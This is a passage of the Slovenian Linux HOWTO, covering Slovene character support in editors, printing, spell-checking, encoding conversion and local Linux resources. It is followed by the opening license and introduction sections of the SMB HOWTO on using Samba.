Datoteka emacs.bind je v imeniku ~/.lyx/bind/. Ce je se ni, lahko napravimo kopijo sistemske z imenika /usr/share/lyx/bind/ in jo popravimo.

Ce imamo staro slovensko tipkovnico (ameriska s csz namesto ~{`), lahko uporabimo premapiranje tipkovnice v Latin 2 Alena Salamuna <alen.salamun@medinet.si>:

Options / Keyboard / Primary = slovene

Ustrezna datoteka slovene.kmap je tipicno v imeniku /usr/share/lyx/kbd/.

Takole pa lahko uporabimo crkovalnik ispell za crkovanje slovenskih spisov:

Edit / Spellchecker / Spellchecker Options
  * Use alternate language: slovensko
  * Extra special chars allowed in words: cszCSZ

V slovenski izdaji urejevalnika LyX pa:

Uredi / Crkovalnik / Izbire crkovalnika
  * Uporabi drug jezik: slovensko
  * Dodatni posebni znaki, dovoljeni v besedah: cszCSZ

Pregled besedila na zaslonu

V Evropi je standardni format papirja A4, kar moramo dopovedati tudi programom za pregled besedila na zaslonu:

XDvi

V datoteko ~/.Xresources (osebna nastavitev) dodamo vrstico

XDvi.paper:     a4

Ghostview

V datoteko ~/.Xresources (osebna nastavitev) ali pa v datoteko /usr/lib/X11/app-defaults/Ghostview (skupna nastavitev) dodamo vrstice:

!  Ghostview naj uporablja format A4
*pageMedia:             A4
!  Tudi Ghostscript naj uporablja format A4
*Ghostview.interpreter: gs
*Ghostview.arguments:   -sPAPERSIZE=a4
Ker tiskamo prek Ghostscripta tudi iz drugih programov, ne le iz Ghostview, je pametno, ce mu v nastavitveni datoteki (navadno /usr/share/ghostscript/izdaja/gs_init.ps ali /usr/local/share/ghostscript/izdaja/gs_init.ps) globalno izberemo velikost strani A4. Poiscemo spodnjo vrstico in jo odkomentiramo (pobrisemo zacetni znak za procent):
% (a4) /PAPERSIZE where { pop pop } { /PAPERSIZE exch def } ifelse

Stvarna kazala

Najpogostejse orodje za izdelavo stvarnih kazal v sistemu TeX je Makeindex. Ta je le omejeno lokaliziran (poleg angleskih pozna se nemska pravila za razvrscanje) in nase abecede ne pozna.

Stvarno kazalo v LaTeX izdelamo z ukazom \makeindex v preambuli; vsako besedo, ki jo zelimo vnesti v kazalo, pa moramo posebej oznaciti z ukazom \index{vnos}. Ker navadno zelimo stvarno kazalo tudi izpisati, dodamo se ukaz \printindex, ta pa je definiran v makropaketu makeidx. Zgled, datoteki recimo zelez-sola.tex, naj ilustrira povedano:

\documentclass[a4paper]{article}
\usepackage[slovene]{babel}
\usepackage[T1]{fontenc}
\usepackage[latin2]{inputenc}
\usepackage{makeidx}
\makeindex
\begin{document}
Ceprav se pouk na zeleznicarski
soli\index{s~ola@sola!z~eleznic~arska@zeleznicarska} v
Sentvidu\index{S~entvid@Sentvid} obicajno konca sele ob stirih,
odpesacijo ucenci iz obcin Zelimlje\index{Z~elimlje@Zelimlje} in
Zetale\index{Z~etale@Zetale} domov ze cetrt cez tri.
\printindex
\end{document}

Trik je v tem, da makeindex dopusca skladnjo \index{vnos1@vnos2}, kjer je vnos1 tisti, po katerem se kazalo ureja, vnos2 pa besedilo, ki se v resnici izpise. Naso crko C zato pisemo kot C~ (znak ~ je v kodnem razporedu ASCII za vsemi crkami), in tako bo zanesljivo uvrscena za vsemi C. Besedilo prevajamo v treh korakih:

latex zelez-sola
makeindex zelez-sola
latex zelez-sola

Prvi latex iz datoteke zelez-sola.tex izdela datoteko zelez-sola.idx, ukaz makeindex to uredi in iz nje izdela datoteko zelez-sola.ind, to pa vsrka drugi ukaz latex.

6.9 groff

Groff nudi precej omejeno podporo za nase znake. Pri izpisu na zaslon (nacin nroff) lahko goljufamo tako, da zapisemo datoteko z osembitnimi znaki ISO Latin 2, programu pa lazemo (izbira -Tlatin1), da so kodirani po razporedu ISO Latin 1.

Henryk Paluch je napisal paket groff-latin2, s katerim lahko nase znake vnasamo kot makroukaze, na primer:

\('a    a z ostrivcem
\(vc    c s stresico
\vou    u s krozcem
Izpis v obliki PostScript v casu pisanja tega spisa se vedno ne deluje, ceprav bi se mehanizme iz paketa ``ogonkify'' Juliusza Chroboczka podobno kot v programu ``a2ps'' verjetno dalo uporabiti tudi tu. Se najvecji problem je verjetno ta, da je paket ``groff'' osirotel, saj ga prvotni avtor, James Clark, ne vzdrzuje vec. Za paket groff-latin2 zdaj skrbi Jan Kasprzak <kas@fi.muni.cz>, najdete ga na
ftp://ftp.fi.muni.cz/pub/localization/groff/

6.10 Perl

Od izdaje 5.004 dalje tudi Perl podpira lokalizacijo. Nastaviti moramo primerne spremenljivke okolja in bodisi v programu uporabiti klic

use locale;
bodisi poklicati Perl z izbiro -Mlocale. Nekaj primerov; preizkus smo si sposodili pri Janu Pazdziori:
~> LC_CTYPE=sl_SI.iso88592 perl -Mlocale -e '$_="tezisce\n"; s/\w/$&:/g; print;'
t:e:z:i:s:c:e:
~> LC_CTYPE=C perl -Mlocale -e '$_="tezisce\n"; s/\w/$&:/g; print;'
t:e:zi:sce:
~> LC_CTYPE=sl_SI.iso88592 perl -e '$_="tezisce\n"; s/\w/$&:/g; print;'
t:e:zi:sce:

Kot vidimo, je samo v prvem primeru, ko smo izvedli oboje: nastavili spremenljivko LC_CTYPE in Perl poklicali z izbiro -Mlocale, nase znake res uposteval kot crke (\).

6.11 Crkovanje: ispell

Vecina sodobnih distribucij Linuxa ze pride s crkovalnikom Ispell; manjka pa mu slovenski besedni zaklad. Tega najdete v datoteki

ftp://sizif.mf.uni-lj.si/pub/i18n/ispell/slovensko.tar.gz
Arhivska datoteka vsebuje dve datoteki, slovensko.hash in slovensko.aff. Postavimo ju tja, kjer Ispell ze hrani leksikone za ostale jezike. Pri piscu teh vrstic je to /usr/lib/ispell/; ce pri vas ni, si lahko morda pomagate s tem, da s find poskusite poiskati datoteko english.aff. Osnovni slovenski leksikon izvira iz baze, ki jo je podjetje Amebis d.o.o. prispevalo za mednarodni projekt MULTEXT-East; s posredovanjem dr. Tomaza Erjavca z odseka za inteligentne sisteme na Institutu Jozef Stefan pa je na voljo za nepridobitno uporabo.

Ispell uporabljamo tako, da mu v ukazni vrstici podamo jezik, v katerem je napisano besedilo, na primer english, deutsch, francais ali slovensko:

ispell -d slovensko besedilo.txt

Natancnejsa navodila za ravnanje s programom Ispell boste nasli v prirocniku, vec o prilagoditvi paketa ispell za slovenscino si lahko preberete na strani Slovenscina in racunalniki Alesa Kosirja. Ispell s slovenskim besednim zakladom poganja tudi spletni crkovalnik Trubar istega avtorja:

http://nl.ijs.si/cgi-bin/truform.pl

6.12 Pretvarjanje med razlicnimi kodiranji

Razen ISO Latin 2 vsebuje vse nase znake se nekaj drugih naborov: Microsoft Codepage 1250, IBM Codepage 852, JUS I.B1.002, Apple MacOS-CE, Apple MacOS-Croatian, Kamenicky, ISO Latin 4, ISO Latin 6, ISO Latin 7 itd.

Ceprav ni tezko napisati programcka za pretvorbo iz enega kodnega nabora v drugega, je pripravno uporabiti ze izdelan program. Eden takih je GNU recode, dostopen npr. na strezniku ARNES:

ftp://ftp.arnes.si/software/gnu/recode/recode-3.4.tar.gz
Starejse izdaje GNU recode (pred 3.5) ne poznajo Microsoftovih kodnih strani 1250-1259.

Uporaba je enostavna:

recode yu:latin2 datoteka
pretvori datoteko iz kodnega nabora JUS I.B1.002 v kodni nabor ISO Latin 2. Kot obicajno izda tudi tu izbira --help se dodatne moznosti.

Novejse izdaje programa recode (ki poznajo tudi nekaj vec kodnih naborov), uporabljajo malo drugacno skladnjo:

recode yu..latin2 datoteka
Po izkusnjah pisca pa je precrkovanje (npr. ,,nabori`` latex ali flat) se vedno omejeno na pretvorbo iz in v nabor ISO 8859-1. Novejse (preizkusne) izdaje programa recode najdete na:
ftp://ftp.iro.umontreal.ca/pub/recode/

6.13 Drugi programi

Pregledovalnik less

Less (avtor Mark Nudelman) je program za pregledovanje besedil na zaslonu, in je priljubljena zamenjava standardnega more.

Less prilagodimo za izpis osembitnih znakov z nastavitvijo v ~/.profile:

LESSCHARSET=latin1; export LESSCHARSET
latin1 namesto latin2 ni pomota. Less zaenkrat slednjega se ne pozna, ker pa ga pravzaprav zanima samo, kateri znaki so obicajni, kateri pa kontrolni (ki zahtevajo posebno obravnavo), ker pa je razpored znakov enak v celotni druzini ISO 8859, lahko izberemo kar latin1. Namesto tega lahko tudi eksplicitno navedemo zaporedje tipa znakov v naboru:
LESSCHARDEF="8bcccbcc18b95.33b."; export LESSCHARDEF
Vsi nabori iz druzine ISO 8859 imajo osem binarnih znakov (posebnih znakov, ki jih praviloma ni v besedilih), tri kontrolne znake, binarni znak, dva kontrolna znaka, osemnajst binarnih znakov, 95 navadnih znakov, 33 binarnih znakov, in normalne znake do konca tabele.

Koledar gcal

Vsi sistemi Unix imajo vgrajen koledarcek cal, ki pa je precej anglocentricen. Thomas Esken iz Nemcije je napisal alternativni koledarcek gcal. Od izdaje 2.40 dalje pozna tudi slovenske praznike. Najdemo ga na obicajnih mestih distribucije GNU. Najblizje je verjetno:

ftp://ftp.arnes.si/software/gnu/

Spodnja vrednost spremenljivke GCAL ustreza nasim razmeram:

GCAL="--cc-holidays=SI --gregorian-reform=1582"; export GCAL


Slovenian HOWTO: Tiskanje

 Next Previous Contents

7. Tiskanje

Pri tiskanju lahko naletimo na razlicne situacije:

  • Tiskalnik neposredno podpira ISO Latin 2
  • Tiskalnik podpira enega od ostalih osembitnih naborov z nasimi znaki (npr. kodno stran 852), ali pa sedembitni nabor JUS I.B1.002
  • Tiskalnik razume PostScript
  • Tiskalnik ne podpira nicesar drugega razen ASCII
Zadnja moznost ni predmet obravnave tega spisa.

7.1 Tiskalniki, ki podpirajo ISO Latin 2

Nekaj novejsih tiskalnikov ze neposredno podpira kodni razpored ISO Latin 2. Med njimi so

  • Hewlett-Packard LaserJet 4 Plus in 4M Plus
  • Hewlett-Packard LaserJet 5L
  • Epson FX-2170 (NLSP)
  • Epson LQ-870 (NLSP)
  • Epson LQ-2070 (NLSP)
  • Epson LQ-2170 (NLSP)
  • Epson DLQ-3000 (NLSP; letnik 1996 in novejsi)
  • Fujitsu DL700
  • Fujitsu DL1150/1250
  • Fujitsu DL3700/3800
  • Fujitsu DL6400/6600
Vse, kar morate storiti, je izbrati pravilno kodno stran v tiskalniku. Ubezna sekvenca za tiskalnike Hewlett-Packard (PCL) in Epson (ESC/P2) so naslednje
PCL

Tole menda deluje:

\033(2N\033(s0p12h0s0b4099T

ESC/P2

Z ukazom ESC ( t prepisemo kodno tabelo ISO 8859-2 v drugo tabelo tiskalnika; zatem z ukazom ESC t izberemo drugo tabelo tiskalnika (strani C-73 in C-77 v ,,Epson ESC/P Reference Manual``, december 1997):

\033(t\003\000\002\177\002\033t\002
Oznaka \033 je osmiska koda znaka Escape.

Eden od nacinov, kako z /etc/printcap prilagodimo okolje za tiskanje na tak tiskalnik, je podrobneje opisan v razdelku Tiskalniki, ki podpirajo kak drug nabor z nasimi znaki.

7.2 Tiskalniki, ki podpirajo kak drug nabor z nasimi znaki

Ce tiskalnik podpira kak drug nabor z nasimi znaki (ne dolgo nazaj je bila ustaljena praksa, da je bil ROM v tiskalnikih zamenjan z EPROM, v njem pa svedski znaki zamenjani z znaki po JUS I.B1.002), lahko s primerno nastavitvijo v /etc/printcap se vedno tiskamo spise, kodirane po ISO Latin 2.

Primerno moramo dopolniti datoteko /etc/printcap. Za zgled si oglejmo tiskalnik Epson, ki ima znake po JUS I.B1.002 na mestu svedskega nabora.

lp|ascii|epson|Epson LQ-850:\
        :lp=/dev/lp1:\
        :sd=/usr/spool/lpd/epson:\
        :lf=/usr/spool/lpd/ERRORLOG:\
        :mx#0:\
        :sh:
jus|Epson LQ-850 z znaki JUS I.B1.002:\
        :lp=/dev/null:\
        :sd=/usr/spool/lpd/jus:\
        :if=/usr/spool/lpd/jus_filter:\
        :lf=/usr/spool/lpd/ERRORLOG:\
        :mx#0:\
        :sh:
latin2|text|Epson LQ-850 z znaki ISO Latin 2:\
        :lp=/dev/null:\
        :sd=/usr/spool/lpd/latin2:\
        :if=/usr/spool/lpd/latin2_filter:\
        :lf=/usr/spool/lpd/ERRORLOG:\
        :mx#0:\
        :sh:

Zgled ima tri tiskalniske vrste. Prva je dejanski tiskalnik z ameriskim (ASCII) naborom znakov. Druga uporablja filter /usr/spool/lpd/jus_filter:

#!/bin/sh
/usr/spool/lpd/jus_epson | lpr -Pascii
Datoteko torej precedimo skozi filter /usr/spool/lpd/jus_epson in jo postavimo v prvo tiskalnisko vrsto. Filter jus_epson ne napravi drugega, kot da na zacetku doda kodo za preklop v svedski nabor, prepise datoteko z vhoda na izhod, in na koncu doda kodo za preklop nazaj v ameriski nabor. To je tudi edini del programja, ki je odvisen od vrste tiskalnika:
#!/bin/sh
# Tiskanje besedil kodiranih po JUS I.B1.002 na tiskalnik Epson LQ
#
# Izberemo slovenski (svedski) nabor
/bin/echo -ne "\033R\005\c"
# Izpisemo dokument
cat
# Izberemo ameriski nabor
/bin/echo -ne "\033R\000\c"

Tretja vrsta uporablja podoben filter kot druga, le da ta najprej pretvori besedilo iz Latin 2 v JUS, zatem uporabi ze opisani filter za to, da doda na zacetku in na koncu potrebno kodo za tiskalnik, in koncno táko datoteko postavi v prvo vrsto.

#!/bin/sh
/usr/local/bin/recode --force latin2:yu | \
    /usr/spool/lpd/jus_epson | lpr -Pascii
Zgled predpostavlja, da je pot do programa recode /usr/local/bin/recode. Izbiro --force moramo uporabiti, ker je preslikava neobrnljiva -- v Latin 2 imamo tako sumnike kot zavite oklepaje, v JUS pa samo se prve.

Za ta zgled smo morali v imeniku /usr/spool/lpd ustvariti tri podimenike: /usr/spool/lpd/epson, /usr/spool/lpd/jus in /usr/spool/lpd/latin2.

Tiskanje gre zdaj tako:

  1. Brez eksplicitne izbire vrste, ali pa z izbiro -Pepson ali -Pascii se datoteka odtisne kot ASCII:
    lpr datoteka
  2. Z izbiro -Pjus se datoteka odtisne kot besedilo, kodirano po JUS I.B1.002:
    lpr -Pjus datoteka
  3. Z izbiro -Platin2 ali -Ptext se datoteka odtisne kot besedilo, kodirano po ISO Latin 2:
    lpr -Platin2 datoteka

7.3 Tiskalniki, ki podpirajo kak drug nabor z nasimi znaki II

(Matjaz Terpin < matjaz.terpin@comcom.si>, Message-id: <Pine.LNX.3.96.980709095750.24607B-400000@guru.comcom.si>)

Matjaz Terpin < matjaz.terpin@comcom.si> je predlagal imenitno izboljsavo pravkar opisanega postopka, pri katerem lahko tiskamo nase znake in oglate in zavite oklepaje. Srz njegovega predloga je filter, ki pred vsakim nasim znakom preklopi v svedski nabor, takoj za njim pa spet nazaj v ASCII.

Datoteka /etc/printcap je v tem primeru taksna:

# /etc/printcap
lp|raw|yu:\
       :lp=/dev/lp1:\
       :sd=/var/spool/lpd/lp:\
       :lf=/var/spool/lpd/ERRORLOG:\
       :mx#0:\
       :sh:
lat2:\
       :lp=/dev/null:\
       :if=/etc/lp/lat2.filter:\
       :sd=/var/spool/lpd/lat2:\
       :lf=/var/spool/lpd/ERRORLOG:\
       :mx#0:\
       :sh:

Filter /etc/lp/lat2.filter precedi besedilo skozi naslednje sito, /etc/lp/lat2.switch, in ga postavi v vrsto lp:

#!/bin/sh
# /etc/lp/lat2.filter

/etc/lp/lat2.switch | lpr -Plp

,,Meso`` postopka je v datoteki /etc/lp/lat2.switch:

#!/bin/sh
#/etc/lp/lat2.switch

echo -ne "\033R0"

sed -e "s/c/`echo -ne "\033R5\~\033R0"`/g" \
 -e "s/C/`echo -ne "\033R5\^\033R0"`/g" \
 -e "s/s/`echo -ne "\033R5\{\033R0"`/g" \
 -e "s/S/`echo -ne "\033R5\[\033R0"`/g" \
 -e "s/z/`echo -ne "\033R5\140\033R0"`/g" \
 -e "s/Z/`echo -ne "\033R5\@\033R0"`/g" \
 -e "s/c/`echo -ne "\033R5\}\033R0"`/g" \
 -e "s/C/`echo -ne "\033R5\]\033R0"`/g" \
 -e "s/d/`echo -ne "\033R5\|\033R0"`/g" \
 -e "s/D/`echo -ne "\033R5\\\\033R0"`/g"

echo -ne "\033R5"

Matjaz pravi se: sed slabo prebavi ``echo -ne "\000"'', zato uporabljam kar znak 0 (niclo), saj je tiskalnik (NEC pinwriter P7) zadovoljen tudi s tem.

7.4 Tiskalniki PostScript

``Naravni'' kodni nabor v PostScriptu je Adobe Standard Encoding. Nasih crk ne pozna. Pa ne le nasih, tudi mnogih drugih crk ne pozna, in pravzaprav sploh nima tovrstnih ambicij. Namesto tega je ASCII razsirjen z gradniki sestavljenih znakov: stresica, ostrivec, diereza, sedij itd. -- vsi so tam. Jezik PostScript pa omogoca definiranje sestavljenih znakov. Vse skupaj je cakalo samo se nekoga, ki bo definiral sestavljene znake za kodni nabor ISO Latin 2. Ta nekdo je bil Juliusz Chroboczek, ki je napisal paket ogonkify.

Filtra a2ps in GNU enscript sta bila napisana z namenom, da resita za nase kraje neobicajno zagato: kako odtisniti cisto obicajno besedilo na tiskalnik, ki razume edino PostScript. Eden in drugi postavita stran v PostScriptu z danim besedilom in jo posljeta na tiskalnik. Fleksibilnost PostScripta omogoca tudi transformacije (npr. pomanjsave) ali poudarjanje sintakse pri tiskanju programskih izpisov. Oba podpirata nabor ISO Latin 2.

http://www.dcs.ed.ac.uk/home/jec/programs/ogonkify/
http://www-inf.enst.fr/~demaille/a2ps/
http://www.iki.fi/~mtr/genscript/
ftp://ftp.arnes.si/gnu/enscript/enscript-1.6.1.tar.gz

ogonkify

Ogonkify je filter za izpise v PostScriptu, in omogoca pravilen odtis crk tudi v jezikih, ki ne uporabljajo nabora ISO Latin 1. Ker je filter, je ravno korak prepozen, da bi lahko pocel to elegantno, ampak mora prezveciti kakrsnokoli grdobijo pac izpljune program korak pred njim in iz dobljenega izdelati lep odtis. Programi pa izdelujejo datoteke PostScript vsak malo drugace, kar filtru ``ogonkify'' otezi delo. Zaenkrat podprti formati izpisa PostScript so: NCSA Mosaic, Netscape Navigator, StarOffice, Applixware in XFig.

Ogonkify za delovanje potrebuje Perl. Ko je namescen, ogonkify uporabimo takole za odtis spletnega sestavka, shranjenega iz Navigatorja:

ogonkify -AT -N netscape.ps | lpr

GNU enscript

Ce GNU enscript se ni namescen, ga namestimo po navodilih, ki so prilozena programu. Poleg njega potrebujemo se vsaj eno pisavo z vsemi nasimi znaki, zapisan v obliki Type 1. Primeren je npr. IBM Courier, ki je prosto dostopen in se distribuira z X Window System, programom ghostscript ipd. Ce nismo prepricani, ali ga imamo ze namescenega, pozenemo:

find / -name cour.pf[ab]

V osebno (~/.enscriptrc) ali skupno konfiguracijsko datoteko (navadno /usr/local/etc/enscript.cfg ali /usr/local/etc/enscriptsite.cfg) dodamo pravilno pot do datotek s pisavami. Poleg tega potrebuje GNU enscript v vsakem imeniku s pisavami se datoteko z imenom font.map, ki vsebuje preslikavo med imeni pisav in datotekami, kjer so shranjene. Ustvarimo jo z ukazom mkafmmap.

Primer konfiguracijske datoteke:

...
#  Kje hranimo pisave PostScript?
AFMPath: /usr/lib/X11/fonts/Type1:/usr/local/lib/ghostscript/fonts
...
#  Privzeti nacin kodiranja:
DefaultEncoding: latin2
...
#  Privzeti format papirja:
DefaultMedia: A4
...
#  lpd izbira tiskalniske vrste z -P...
QueueParam: -P
...
#  Za tiskanje uporabljamo ukaz lpr, ne lp
Spooler: lpr

Ko je vse potrebno nastavljeno, odtisnemo besedilo enostavno z ukazom

enscript datoteka

a2ps

Z izdajo 4.7.21 je Akim Demaille v a2ps vgradil mehanizem za sestavljene znake, ki ga je Juliusz Chroboczek uporabil v filtru ogonkify.

Nasim krajem prilagodimo a2ps z majckeno spremembo nastavitvene datoteke. Sistemsko nastavitveno datoteko najdemo navadno kot /usr/etc/a2ps.cfg, /usr/local/etc/a2ps.cfg ali kaj podobnega; osebna se imenuje ~/.a2psrc.

...
# Default encoding
Options: --encoding=latin2

# Default media
Options: --media=A4
...


Slovenian HOWTO: Linux v Sloveniji

 Next Previous Contents

8. Linux v Sloveniji

Harald T. Alvestrand z Norveske vodi evidenco o uporabnikih Linuxa po drzavah. Seznam slovenskih uporabnikov Linuxa je na naslovu

http://domen.uninett.no:29659/bycountry/SI.html
Ce vas ni med njimi, se prijavite!
http://domen.uninett.no:29659/

8.1 Skupina uporabnikov Linuxa

Od marca 1996 dalje deluje v Ljubljani organizirana skupina uporabnikov Linuxa v Sloveniji, drustvo LUGOS (Linux Users Group of Slovenia). Drustvo ima svojo stran na WWW:

http://www.lugos.si/

Drustvo ima tudi svoj elektronski spisek, na katerega se prijavite tako, da na naslov majordomo@lugos.si posljete vrstico

subscribe lugos-list
v telesu sporocila.

8.2 Strezniki FTP

Vzdrzevan seznam aktivnih arhivov v Sloveniji najdete na straneh streznika LUGOS,

http://www.lugos.si/arhiv/

Od marca 1997 dalje imamo v Sloveniji svoj Sun SITE, ki je usklajen z drugimi strezniki Sun SITE po svetu (Sun SITE na Univerzi Severne Karoline, ZDA, je eden glavnih centrov za Linux).

ftp://sunsite.fri.uni-lj.si/pub/linux/

Na strezniku ARNES se avtomaticno zrcalita distribucija Debian in programje iz projekta GNU,

ftp://ftp.arnes.si/software/unix/linux/debian/
ftp://ftp.arnes.si/software/gnu/

Streznik z zelo veliko izbiro programja za Linux je tudi na Gimnaziji v Murski Soboti,

ftp://mercur.s-gms.ms.edus.si/pub/UNIX/linux/

Studentski informacijski center je s pomocjo Zavoda za odprto druzbo uredil streznik FTP v Narodnem domu v Mariboru:

ftp://ftp.kibla.org/pub/Linux/

Distribucija Slackware se zrcali tudi na strezniku Fakultete za racunalnistvo in informatiko Univerze v Ljubljani,

ftp://ftp.fri.uni-lj.si/pub/linux/

Wowen Goods for Linux se zrcalijo na strezniku Laboratorija za robotiko na Fakulteti za elektrotehniko, Univerza v Ljubljani:

http://robo.fe.uni-lj.si/woven/

Linux Documentation Project ter distribucija Debian se zrcalita na strezniku Centra za uporabno matematiko in teorijsko fiziko, Univerza v Mariboru:

http://www.camtp.uni-mb.si/linux/LDP/
ftp://ftp.camtp.uni-mb.si/pub/linux/debian/

8.3 Usenet

Linux nima svoje diskusijske skupine, ampak je vsa razprava o sistemih Unix zbrana v skupini si.comp.os.unix (kjer pa razprava o Linuxu res predstavlja znaten del prometa). Svojo skupino pa ima drustvo LUGOS: si.org.lugos.

8.4 Zastopniki za Linux

Agenda d.o.o., Lavriceva 3, Maribor (tel. 062/2297740), je uradni zastopnik podjetij Caldera, RedHat in SuSE v Sloveniji.

CD-ROM z distribucijami Linuxa se da navadno dobiti pri vseh bolje zalozenih trgovcih s tovrstno robo, npr. Infobia (tel. 061/614548) ali Mantis (tel. 061/1685473).


Slovenian HOWTO: O tem spisu

 Next Previous Contents

9. O tem spisu

Najnovejsa izdaja tega spisa je razen na uradnem mestu Linux Documentation Project dostopen tudi pri avtorju ter na domaci strani Slovenskega drustva uporabnikov Linuxa:

http://sizif.mf.uni-lj.si/linux/cee/Slovenian-HOWTO.html
http://www.lugos.si/delo/slo/HOWTO-sl/Slovenian-HOWTO.html

Vse pripombe na ta spis so dobrodosle na naslov <primoz.peterlin@biofiz.mf.uni-lj.si>, splosna vprasanja o Linuxu in poslovenjenju programov pa sodijo na dopisno listo lugos-slo@lugos.si ali v si.comp.os.unix.

9.1 Opombe k drugi izdaji

Druga izdaja je priblizno dvainpolkrat daljsa od prve, ki je izsla konec leta 1996. Izkazalo se je, da bi bil koristen kratek seznam stvari, ki jim moramo opraviti, ce zelimo usposobiti nase znake na konzoli ali v okolju X Window System, zato sem ga dodal na zacetek. Dodan je opis uporabe vektorskih pisav Type 1 in TrueType. Nastavitev locale predstavlja standarden nacin prilagoditve programov, zato je temu razdelku namenjena vecja pozornost. V celoti so novi opisi prilagoditev urejevalnika LyX ter pisarniskih paketov WordPerfect, Star Office in Applixware. Dodan je opis prilagoditve nove izdaje urejevalnika Emacs. Razdelek o tiskalnikih je razsirjen z domiselno alternativno razlicico tiskalniskega filtra; dodatno sta omenjena ogonkify in a2ps. Posodobljen je seveda tudi razdelek o Linuxu v Sloveniji. In morda se kaj, kar sem pozabil.

Ce je prva izdaja predstavljala nekaksne zbrane in urejene zapiske o problemih, s katerimi sem se sam sreceval, se zdaj nekoliko bolje zavedam tudi potreb drugih. Zato sem v to dodal tudi opis prilagoditev programov in programskih paketov, ki jih sam ne uporabljam, npr. Star Office, Applixware ali Word Perfect. Opisanih resitev nisem preizkusal; zaupam pac izkusnjam izvornih piscev. Te sem povsod tudi navedel in lahko stopite v stik z njimi.

9.2 Zahvala

Ce bralka ali bralec nista tega ze sama uganila, je cas, da priznam sam: noben strokovnjak za Linux nisem. Nekaj o lokalizaciji Linuxa sem se naucil iz spisov ``German HOWTO'' Winnfrieda Truemperja ter ``Danish/International HOWTO'' Thomasa Petersena, nekaj o internacionalizaciji kar tako iz spisov Michaela Gschwinda. Nadvse koristni so bila tudi ``Czech HOWTO'' skupine avtorjev, Polska strona ogonkowa, ter Slovenscina in racunalniki Alesa Kosirja. Prvi spis je spisala skupina avtorjev, obcasno ga objavijo v cz.comp.linux, zrcaljen je pa tudi na nekaj mestih na Ceskem in Slovaskem; drugo najdete na http://www.agh.edu.pl/ogonki/; stran vzdrzuje Jaroslaw Strzalkowski. ``Slovenscino in racunalnike'' najdete na http://nl.ijs.si/gnusl/tex/tslovene/slolang/.

Z namigi in nasveti so mi pomagali se (v abecednem vrstnem redu): Gorazd Bozic <gorazd.bozic@arnes.si>, Ales Casar <casar@uni-mb.si>, Tomaz Erjavec <tomaz.erjavec@ijs.si>, Matjaz Godec <gody@elgo.si>, Ales Kosir <ales.kosir@hermes.si>, Metod Kozelj <metod.kozelj@rzs-hm.si>, Renato Lukac <renato@s-gms.ms.edus.si>, Roman Maurer <roman.maurer@fmf.uni-lj.si>, Jaka Mele <jack@ro.zrsss.si>, Borut Mrak <borutm@bigfoot.com>, Boris Pozar <boris.pozar@guest.arnes.si>, Marko Samastur <marko.samastur@fmf.uni-lj.si>, Robert Susic <robert.susic@ijs.si>, Alen Salamun <alen.salamun@medinet.si>, Matjaz Terpin <matjaz.terpin@comcom.si>, in Leon Zlajpah <leon.zlajpah@ijs.si> Vsem hvala. Vsem po nemarnosti izpuscenim se opravicujem; poskusil bom popraviti do naslednje izdaje.

9.3 Vprasanja

Se pravi Slovenian ali Slovene?

Mnenja so deljena. Pisec teh vrstic se je pozanimal pri strokovnjakih s tega podrocja, ki so ga le potrdili v tem, da so mnenja res deljena. Slovnicno je pravilno eno ali drugo, odlocitev za eno ali drugo varianto je zaenkrat bolj domena jezikovne estetike. Iz zgodovinskih razlogov ta spis uporablja Slovenian, in tako bo do nadaljnjega tudi ostalo.

Nasi znaki v tem spisu

Cel spis govori o tem, kako pridemo do nasih znakov, sam jih pa nima. Kako to?

Kovaceva kobila... Sistem SGML-Tools (nekdaj Linuxdoc-SGML), ki je uradni standard za dokumentacijo HOWTO, zaenkrat podpira samo Latin 1. Cees de Groot, vzdrzevalec paketa SGML-Tools, kot tudi Tim Bynum, urednik zbirke HOWTO, se tezave zavedata. Pisec teh vrstic v upanju na boljse case pise v Latin-2; preden poslje material uredniku, pa poreze kljukice nad sumevci. Za domaco rabo pa lahko malo pogoljufamo in paketu sgmltools lazemo, da so osembitni znaki kodirani po Latin 1: pri pretvorbi v navadno besedilo je tako ali tako vseeno, pri pretvorbi v HTML moramo dodati vrstico <META> z definicijo uporabljenega nabora znakov, pri pretvorbi v LaTeX pa morebiti se malo telovaditi s sed.

9.4 Uporaba in razsirjanje

Copyright (c) 1996,1999 Primoz Peterlin <primoz.peterlin@biofiz.mf.uni-lj.si>. Ta spis lahko razsirjate pod pogoji, navedenimi v licenci LDP, dosegljivi na naslovu http://metalab.unc.edu/LDP/COPYRIGHT.html. Spisa ni dovoljeno razsirjati v spremenjeni obliki brez privolitve avtorja.

Informacije v tem spisu so podane v veri, da so tocne in koristne, vendar pa brez kakrsnegakoli jamstva, izrecnega ali impliciranega, vkljucno, a brez omejitve na implicirano jamstvo za primernost za trzenje ali uporabo. Uporabljate jih lahko izkljucno na lastno odgovornost. Avtor ne odgovarja za kakrsnekoli skodo, posredno ali neposredno, nastalo kot posledico uporabe informacij v tem spisu.

9.5 Note to English readers

Copyright (c) 1996,1999 by Primoz Peterlin <primoz.peterlin@biofiz.mf.uni-lj.si>. This document may be distributed under the terms set forth in the LDP license at http://metalab.unc.edu/LDP/COPYRIGHT.html. This document may not be distributed in modified form without consent of the author.

The information in this document is provided in belief of being accurate and useful, however without any warranty, expressed or implied, including, but not limited to, the implied warranties of merchantability or fitness for a particular purpose. The entire risk of using the information goes with the user. The author can not be liable for any possible damage, direct or indirect, arising from the use of information provided in this document.


SMB HOWTO

David Wood, dwood@plugged.net.au

v1.3, 20 April 2000

This is the SMB HOWTO. This document describes how to use the Server Message Block (SMB) protocol, also called the Session Message Block, NetBIOS or LanManager protocol, with Linux using Samba.

1. License

2. Introduction

3. Further Information

4. Installation

5. Running The Daemons

6. General Configuration (/etc/smb.conf)

7. Sharing A Linux Drive With Windows Machines

8. Accessing an SMB Share With Linux Machines

9. Sharing A Linux Printer With Windows Machines

10. Sharing A Windows Printer With Linux Machines

11. Backing Up Windows Machines to a Linux Host

12. Using Samba Across Routed Networks

13. Acknowledgements


SMB HOWTO: License

 Next Previous Contents

1. License

Copyright (c) 2000 David Wood.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections , with no Front-Cover Texts and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html.


SMB HOWTO: Introduction

 Next Previous Contents

2. Introduction

This is the SMB HOWTO. This document describes how to use the Server Message Block (SMB) protocol, also called the Session Message Block, NetBIOS or LanManager protocol, with Linux using Samba. Although this document is Linux-centric, Samba runs on most Unix-like operating systems.

